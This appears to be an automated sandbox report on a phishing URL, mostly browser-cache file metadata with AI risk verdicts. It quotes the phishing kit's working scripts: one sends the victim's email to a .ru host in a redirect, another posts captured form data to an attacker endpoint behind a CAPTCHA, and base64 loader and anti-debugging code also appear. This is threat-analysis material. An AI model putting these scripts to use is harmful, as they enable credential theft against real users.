LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDc0KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzIpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQuYWx0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkNCiAgICApIHsNCiAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0pOw0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgcmV0dXJuIGZhbHNlOw0KfSk7DQpPUk1KQU13UkdrID0gZmFsc2U7DQooZnVuY3Rpb24gR1h3QmxVY0lpTygpIHsNCiAgICBsZXQgbnVQQXpaT0hGRCA9IGZhbHNlOw0KICAgIGNvbnN0IGpyU1JOTXhCdGkgPSAxMDA7DQogICAgc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQogICAgICAgIGNvbnN0IG9RUWN0Z2RnSEkgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAg
URL: https://petadolex.ca/Privacy/mwe.html#mlyon@wc.com... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The script demonstrates several high-risk behaviors, including redirecting the user to an untrusted domain after a short delay and potentially exfiltrating user data (email address) via the URL. The use of obfuscation (Base64 encoding) and the immediate redirect without user interaction further increases the risk." }
// Redirect after 5 seconds var ai = window.location.hash.substr(1); var ind = ai.indexOf("@"); var my_slice = ai.substr((ind + 1)); var companyName = my_slice.split('.')[0]; var con=btoa(ai); setTimeout(function() { window.location.href = "https://o6rl.inexpartan.ru/0Fhb7R/?qrc="+ai; }, 0);
URL: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.co... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script uses the `turnstile.render()` function to render a CAPTCHA widget, but it also includes a custom error callback function `mSSFAETVxE()` and a callback function `OYNQcTmCcB()` that perform potentially malicious actions. The `OYNQcTmCcB()` function prevents the form submission, sets a hardcoded value for the `pagelink` field, and then makes a GET request to a suspicious domain. Depending on the response, it either makes a POST request to another suspicious domain with the form data or redirects the user to `https://www.azure.com`. This script demonstrates clear intent to collect user data and redirect to potentially malicious domains, which is highly suspicious and poses a significant security risk." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA3SrXwIAdDnw3nH', 'error-callback': mSSFAETVxE, callback: OYNQcTmCcB, }); function mSSFAETVxE() { turnstile.reset(); } function OYNQcTmCcB() { var IaNOYUKZLQ = document.getElementById("DbWPIkbjIP"); IaNOYUKZLQ.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'ME0TBe'; var YTUJZCdBKa = "../ua7Cc2ezmnEi1Y51y8SDrsQCdZVh48"; fetch('https://aor0Uy31giAYV7SV489Le3qcmkvPQJCNZqqB1rlz1PFfHpBR94Sby.ygncsqvu.ru/598751268380591bUNXIIfJaIAHTIXSYQUJXLCQDGIOWNJQWJMTAUJIIGQ', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(YTUJZCdBKa, { method: "POST", body: new FormData(IaNOYUKZLQ) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(ORMJAMwRGk == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://www.azure.com'); } }); } if(text != 0){ window.location.replace('https://www.azure.com'); } }) .catch(error => { window.location.replace('https://www.azure.com'); }); }
URL: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://o6rl.inexpartan.ru Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://o6rl.inexpartan.ru
URL: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.com Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.com Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Browser security checks in progress for your safety.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.com Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.com Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	308
Entropy (8bit):	4.70981696594715
Encrypted:	false
SSDEEP:	6:wuCcUdfN1nwuTR6XEOW8HX3Lfau6ZlKvpuECSgwuEj2an:J8nnNR6xp3765VJa
MD5:	D54C23BA76BD8648119795790AE83779
SHA1:	D8D52ACAEB44EF8D5ED93D3EB65465AEFC8E8EA7
SHA-256:	50F43ABADD35CC811C5C927FA149DD93E18707562D9961D82208B3261E2C1A34
SHA-512:	1844CD63F89AA92C33D9D7E691B1F8DFB55F3195E86FB359719E6E81E82A98C5BBE3889D33C37499768F51DF5A48BF0633254F64E3257572566D444CCFC26FF9
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/core/wcm/components/tabs/v1/tabs/clientlibs/site.min.ACSHASHd54c23ba76bd8648119795790ae83779.css
Preview:	.cmp-tabs__tablist{display:flex;flex-wrap:wrap;padding-left:0;list-style:none}..cmp-tabs__tab{box-sizing:border-box;border-bottom:1px solid transparent;padding:.5rem 1rem;cursor:pointer}..cmp-tabs__tab--active{border-color:inherit}..cmp-tabs__tabpanel{display:none}..cmp-tabs__tabpanel--active{display:block}

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64796)
Category:	downloaded
Size (bytes):	601837
Entropy (8bit):	5.113246484392723
Encrypted:	false
SSDEEP:	6144:GwWdLqRnrdICH1BoTZXire7Dqsx0C9i98nrBsMJgKbQe8yQ:OqfKk
MD5:	009D84A1397E9783E36E83B82D8A82BD
SHA1:	B7D79A061F83BAF146F89E3D0E48DB9C6EFD357E
SHA-256:	AB4482DFBF177924A2677875F356CC084F4B01EAC3554D0F03E1481FCC010BFC
SHA-512:	CFAB8344904EA39C8646BD3805BB50A9073C5A4D8D8743484AF2F634E34D3FFA362251899B75DA66D9EC6E21DF5F1E829D6F938DC6458C33A1065871D9B9B454
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/clientlib-reimagine/main-azure.min.ACSHASH009d84a1397e9783e36e83b82d8a82bd.css
Preview:	@charset "UTF-8";/!. OneCloud Reimagine v0.309.0. * MWF (Moray) v2.8.1. * Copyright (c) Microsoft Corporation. All rights reserved.. * Copyright 2011-2020 The Bootstrap Authors and Twitter, Inc.. */.fixed-back-to-top{transition:opacity 1s cubic-bezier(.19,1,.22,1)!important;pointer-events:none}@media (prefers-reduced-motion:reduce){.fixed-back-to-top{transition:none}}.fixed-back-to-top.fixed-sticky.stuck{transition:opacity 1s cubic-bezier(.19,1,.22,1)!important}@media (prefers-reduced-motion:reduce){.fixed-back-to-top.fixed-sticky.stuck{transition:none}}@media screen and (max-width:540px){.fixed-back-to-top.stuck{position:static}}.fixed-back-to-top .btn{pointer-events:auto}.fixed-sticky{transition:background .2s ease-out,shadow .2s ease-out}.fixed-sticky .sticky-show-stuck{display:none}.fixed-sticky.get-height .sticky-show-stuck{display:block;visibility:hidden;opacity:0;position:fixed;left:-9999px;width:100%}.fixed-sticky.stuck{position:fixed;left:0;right:0;width:100%;z-index:1020;t

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	685
Entropy (8bit):	5.034728367898433
Encrypted:	false
SSDEEP:	12:tr1tB3utVhKXWsFYZjzFWZ8ed8RiHAxc3EnDfcmjnDfc1tnDwLtkiHAie:tTB3utVUXOsZ58RHx2ADfvDfkDikHb
MD5:	5230258C62809AABCDF5F68BF091899C
SHA1:	6BA8AB8858FDB46C7FBBB9784890A141D25EC0EC
SHA-256:	7EE3BF469607984A653D929CE069DB63FB7B1AABFB4053EF26D0245AF0ECC320
SHA-512:	C88BFEA273B611A98EC2D0267CB5B74894AA352C972A524DF26BE1AED6344CADFC0CB559CEF1D364F40BA3F83345EAE369975AEE3689320CEF7C85AC6903376C
Malicious:	false
Reputation:	low
URL:	"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/AI-icon-white?resMode=sharp2&op_usm=1.5,0.65,15,0&wid=32&hei=32&qlt=100&fmt=png-alpha&fit=constrain"
Preview:	<svg width="43" height="32" viewBox="0 0 43 32" fill="none" xmlns="http://www.w3.org/2000/svg">.<g clip-path="url(#clip0_14404_11306)">.<path d="M0 14.9335C0 6.68606 6.65493 0.000183105 14.8642 0.000183105H28.1358C36.3451 0.000183105 43 6.68607 43 14.9335V17.0669C43 25.3143 36.3451 32.0002 28.1358 32.0002H0V14.9335Z" fill="white"/>.<ellipse cx="12.6195" cy="16.4706" rx="2.33696" ry="2.35294" fill="#004275"/>.<ellipse cx="21.0326" cy="16.4706" rx="2.33696" ry="2.35294" fill="#004275"/>.<ellipse cx="29.4457" cy="16.4706" rx="2.33696" ry="2.35294" fill="#004275"/>.</g>.<defs>.<clipPath id="clip0_14404_11306">.<rect width="43" height="32" fill="white"/>.</clipPath>.</defs>.</svg>.

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (65103)
Category:	dropped
Size (bytes):	209939
Entropy (8bit):	5.366006952026174
Encrypted:	false
SSDEEP:	3072:1P6RsHIwj0PdUgdbs8kvdYkODdlm9AZoZXs+eSc:1msHIxHMvd8dtZoZDc
MD5:	FA4C76A7FDE62B18054CF7EB8E946012
SHA1:	B20150066A879D2B78DD3D4908F4ACD148EE66F8
SHA-256:	09EBD7F407439990AAC227E70DA23E1A819E8E30282928E324370805F480BEC4
SHA-512:	D72F5D078675C7ADBF6BFC1980712542A10668AEC9163137A2EC70A5E117F8FFDD0F06A6C4C6636E35C04F2754F33D40C65C59D452AFAA8EA4A382F24F200ABD
Malicious:	false
Reputation:	low
Preview:	/. Copyright (c) 2011, Yahoo! Inc. All rights reserved.. * Copyright (c) 2011-2012, Log-Normal, Inc. All rights reserved.. * Copyright (c) 2012-2017, SOASTA, Inc. All rights reserved.. * Copyright (c) 2017, Akamai Technologies, Inc. All rights reserved.. * Copyrights licensed under the BSD License. See the accompanying LICENSE.txt file for terms.. /./ Boomerang Version: 1.720.0 b17966bb92f8ac2ddcda4ac1d9c0aaea6d2eda7b */..BOOMR_start=(new Date).getTime();function BOOMR_check_doc_domain(e){if(window){if(!e){if(window.parent===window\|\|!document.getElementById("boomr-if-as"))return;if(window.BOOMR&&BOOMR.boomerang_frame&&BOOMR.window)try{BOOMR.boomerang_frame.document.domain!==BOOMR.window.document.domain&&(BOOMR.boomerang_frame.document.domain=BOOMR.window.document.domain)}catch(t){BOOMR.isCrossOriginError(t)\|\|BOOMR.addError(t,"BOOMR_check_doc_domain.domainFix")}e=document.domain}if(e&&-1!==e.indexOf(".")&&window.parent){try{window.parent.document;return}catch(t){try{document.doma

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	3280
Entropy (8bit):	4.696081700274861
Encrypted:	false
SSDEEP:	96:mVZw3gPuCrA3sLT1m7RArtNmOuLT2LZ0dZyMLtZ/AmVT8TZi:mVZ4gPuCQqBQRArtMOEalxMLtZ47i
MD5:	1C7E214F5AF8CAA06F783A38D40127C6
SHA1:	61F88B722FAA7A7AE86D354DBCFC1D771FF23289
SHA-256:	9EA42247944D18B77EB76FBCCAF1774559B6F312B1376002F553C4ECB827E4C5
SHA-512:	559A3FA3364B742E5915E871333C043CF27F25110D3A624D0CDDC75DEE795F8633EB0C8A3186F2088B52516C1BC3A90F13545F9415278F3A4A52992AB7E8C96C
Malicious:	false
Reputation:	low
Preview:	class OneCloudUtil {.. /*. Get the API endpoint for the OneCloud Data Connector.. * @param {string} path - The path to append to the API endpoint.. * @param {string} querystring - The query string to add to the API endpoint.. * @returns {string} - The API endpoint with the environment specific query parameters.. /. static getMsocapiurl = (path, querystring) => {. let url = `${OneCloudEnvironmentConstants.DataConnector.endpoint}${path}`;. let envQueryParamKeys = Object.keys(OneCloudEnvironmentConstants.DataConnector.queryParams);.. // Add passed query string.. if(querystring && querystring.length > 0) {. url += `?${querystring}`;. } else if (envQueryParamKeys.length > 0) {. url += '?';. } .. // Add environment specific query parameters and return.. return OneCloudUtil.addEnvironmentSpecificQueryParams(url);;. }.. /. Add environment specific query parameters to the url.. * @param {string} url - The url to add the query paramete

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47691)
Category:	downloaded
Size (bytes):	47692
Entropy (8bit):	5.4016459163756165
Encrypted:	false
SSDEEP:	768:IXCtQmIutwVHuzZBF6gmXLSOzQDjdxdOQbk6sgEvk/7b39tobLKZUanw81KZLGcD:IGJWHuzZBF6xbGfLsVvy33FUaDW
MD5:	9046FDD8B20F930F537279DEDE41E747
SHA1:	EBB905F60D71F45D056D42E6096736EA8C2D4BD9
SHA-256:	5AAC9E52F80011983676C03AD8120E0369E651E6357D0B05054026A3BC8EC32D
SHA-512:	F289C718B32D9E75E5725116D7696070C840426310B2A75E3EE66933E50B85BF738B4015FCFB8BAF7A8545B600B9820D85F8BB41C055FB0877C1420655E5E975
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/787bc399e22f/api.js
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (7461), with CRLF line terminators
Category:	downloaded
Size (bytes):	19579
Entropy (8bit):	5.864290073851116
Encrypted:	false
SSDEEP:	384:6nuILH5lrDVMEwfTX3nuILH5lrDVMEw+lrolrR:sZvYxZvY+lrolrR
MD5:	5E0584265F1D20E0EE45ADD0A4C2F117
SHA1:	F01CF12D72C05432E19FDAF1233D4D09217F07C8
SHA-256:	E8127C96588805677EBFC6185FA9036CA9D628C470EA16147B9B191F6EB82485
SHA-512:	5C2D0C8EF7A40CC139296F9FCA5D22AA426405EF000DEFB40DBB0ED2F770A3D284ED967A90805940698A02FD68E6E2D1C0C2C5117C4D763D1B117E7B820E654F
Malicious:	false
Reputation:	low
URL:	https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.com
Preview:	<script>....if(atob("aHR0cHM6Ly80c1V6LmluZXhwYXJ0YW4ucnUvMEZoYjdSLw==") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNIZGRjbW1Vd09vIGg0e21hc

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	697
Entropy (8bit):	4.9687589816244095
Encrypted:	false
SSDEEP:	12:UHevFvKrbON5NtK/efIBbd/FqYT/ZTkAxtK/efb+RAd/FjDhQAThtK/efKXEnHz7:KWFNvs/ew//Fqu/ljxs/eD+R0/FjtQ+V
MD5:	D2F3218A374A1305FE262FC4BAEEDDD1
SHA1:	103721E516DC86A8EC433C6EA7C227BF7D954A55
SHA-256:	F76208F59F7E18EFB405361893B45B9DD7D0759BB5329AC664F39C02384982CD
SHA-512:	011062B7E77B5BBCACC6391C6E9873D4221E3474276F56D36EF29B78EA9E7C1C6C2021DA3D80D79C30E1675AC0CE62DC397C52051C7C1478054C02AF27BC7077
Malicious:	false
Reputation:	low
Preview:	/*. OneCloud environment constants class.. /.class OneCloudEnvironmentConstants {.. /. OneCloud data connector AEM publisher variables.. * @readonly. /. static DataConnector = Object.freeze({. "endpoint": "/msonecloudapi",. queryParams: {}. });.. /. Microsoft API Prod Endpoint. * @readonly. /. static MicrosoftAPI = Object.freeze({. "endpoint": "https://www.microsoft.com/msstoreapiprod". });.. /. Appsource Request Header. * @readonly. */. static AppsourceAPI = Object.freeze({. "header": "Njg1YmM2MWI1ZTA4MWVlMzAxZTQwM2YxMzk2MjU4YzljMDE3Nzc0NDM2MWMyMzg3MGQwZjMwYzIxZWY0ODMwMQ==". });.}

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (655)
Category:	downloaded
Size (bytes):	476900
Entropy (8bit):	5.5048390520226524
Encrypted:	false
SSDEEP:	6144:4+iJyDmVwNQbmAbm8aw+dBABTSO6VCAuouax2fpfJM2ib:4MgY58a+Sz6ax28b
MD5:	763C942B927FE0F5D20F673EAEA8CA64
SHA1:	1702988FC64DC26072BDCA99D237F9C8AEF5DC75
SHA-256:	0625AEA907B132E21DDA7CFE12C3AFFE07EAA45E9900CB5BDB602469F89C2E0D
SHA-512:	67A44963E43EADFA3BD6ECAAF8342F91ED0F803C28AFF204EE835F32F100D741755DC3793628CF0D087AD3241A6D6C4834E02B9AD92B6E7392CF8E2F73AA474D
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/clientlib-reimagine/main-light.min.ACSHASH763c942b927fe0f5d20f673eaea8ca64.js
Preview:	/. OneCloud Reimagine v0.309.0. MWF (Moray) v2.8.1. Copyright (c) Microsoft Corporation. All rights reserved.. Copyright 2011-2020 The Bootstrap Authors and Twitter, Inc../.'use strict';(function(V,L){"object"===typeof exports&&"undefined"!==typeof module?L(exports):"function"===typeof define&&define.amd?define(["exports"],L):(V="undefined"!==typeof globalThis?globalThis:V\|\|self,L(V.ocrReimagine={}))})(this,function(V){function L(){function b(x,w,y){return Object.defineProperty(x,w,{value:y,enumerable:!0,configurable:!0,writable:!0}),x[w]}function d(x,w,y,R){w=Object.create((w&&w.prototype instanceof c?w:c).prototype);R=new r(R\|\|[]);return A(w,"_invoke",{value:k(x,y,.R)}),w}function a(x,w,y){try{return{type:"normal",arg:x.call(w,y)}}catch(R){return{type:"throw",arg:R}}}function c(){}function e(){}function f(){}function g(x){["next","throw","return"].forEach(function(w){b(x,w,function(y){return this._invoke(w,y)})})}function h(x,w){function y(E,wa,ja,Lb){E=a(x[E],x,wa);if("throw"!==E.

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (505)
Category:	downloaded
Size (bytes):	1418
Entropy (8bit):	5.418786110345074
Encrypted:	false
SSDEEP:	24:gkWndJbDZVHGCGH0199EYCDNQNFHOS91AqCCoW40HJtmz2Xw+mlu4oFU5kveTOwD:gkw9ZVHG3HEuvNQNFv16XW1HJEkmEhUh
MD5:	20AAFDF6904D3DC5DB0E0E33ABBFC1A4
SHA1:	CC1A639FF69FE0D8A8F1EFEE7FCB04941E7B57C8
SHA-256:	EE4E620F350907CE3867454B2BD45984BE949EB46B113183D4B8B403032DA14D
SHA-512:	91B0BD81FCD2D3D040D9FC1DB74F5CA916EF88E7887D2868530BF1319EAF5462CC54421AB80FC97B258B569B9AF40F2B9FD1B6D417C9A4561BBA22EDF785D905
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-jquery-cookie.min.ACSHASH20aafdf6904d3dc5db0e0e33abbfc1a4.js
Preview:	/. jQuery Cookie Plugin v1.4.1. https://github.com/carhartl/jquery-cookie.. Copyright 2013 Klaus Hartl. Released under the MIT license./.'use strict';(function(d){"function"===typeof define&&define.amd?define(["jquery"],d):"object"===typeof exports?d(require("jquery")):d(jQuery)})(function(d){function l(a,c){if(e.raw)var b=a;else a:{0===a.indexOf('"')&&(a=a.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{a=decodeURIComponent(a.replace(m," "));b=e.json?JSON.parse(a):a;break a}catch(h){}b=void 0}return d.isFunction(c)?c(b):b}var m=/\+/g,e=d.cookie=function(a,c,b){if(void 0!==c&&!d.isFunction(c)){b=d.extend({},e.defaults,b);.if("number"===typeof b.expires){var h=b.expires,g=b.expires=new Date;g.setTime(+g+864E5*h)}a=e.raw?a:encodeURIComponent(a);c=e.json?JSON.stringify(c):String(c);c=e.raw?c:encodeURIComponent(c);return document.cookie=[a,"\x3d",c,b.expires?"; expires\x3d"+b.expires.toUTCString():"",b.path?"; path\x3d"+b.path:"",b.domain?"; domain\x3d"+b.domain:"",b.secure?";

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	9316
Entropy (8bit):	4.267140948442776
Encrypted:	false
SSDEEP:	192:7GrOUjDYq5FEF/zj2wrEEegbSYCkK2MlXW2UqEcK9MwC1uAyI9J3Yullgubephg2:qrzjDYq5FEFLjRJpKJxWrqhKGXy83Y3N
MD5:	2B143BED0FF34BC70BC0703346F70E08
SHA1:	7FB14A8842293FD041C7C138285AC2F822AC4B4C
SHA-256:	C35BBDEE4A46BFBF552989E1126E1F09B454EB3DC2523376C38964BF6128BE86
SHA-512:	46BBF881243EC3C27046FCB66F9D8412B459CC7B6DA1ABF0DCB5F70D578F57E9A88D52431753B65F851892055AC17EDD9446E11BA67D7B0DA80B2B2615F67688
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-reimagine-base.min.ACSHASH2b143bed0ff34bc70bc0703346f70e08.js
Preview:	// This function replaces popover data-island tags insertd in RTE via the popover plugin.(function () {. if (!window \|\| !window.ocrReimagine) {. return;. }.. window.ocrReimagine.PopoverRichTextPlugin = new class {. popoverRichTextMountSelector = '.popover-rte-mount';. popoverMountSelector = '[data-mount="popover"]';.. isPopoverComponentEnabled() {. return !!(window.mwf?.Popover);. }.. isIconComponentEnabled() {. return !!(window.ocrReimagine?.Icon?.getInstances());. }.. /*. Initialize popover elements with the class 'popover-rte-mount' by looking up inside the target element or entire document.. */. initializePopoverRichTextPlugin() {. if (!this.isPopoverComponentEnabled()) {. return;. }.. // Get all popover rich text elements.. const popoverRichTextElements = this.getPopoverRichTextElements();.. if (!popo

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Reputation:	low
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (510)
Category:	downloaded
Size (bytes):	1973
Entropy (8bit):	4.4914538760871165
Encrypted:	false
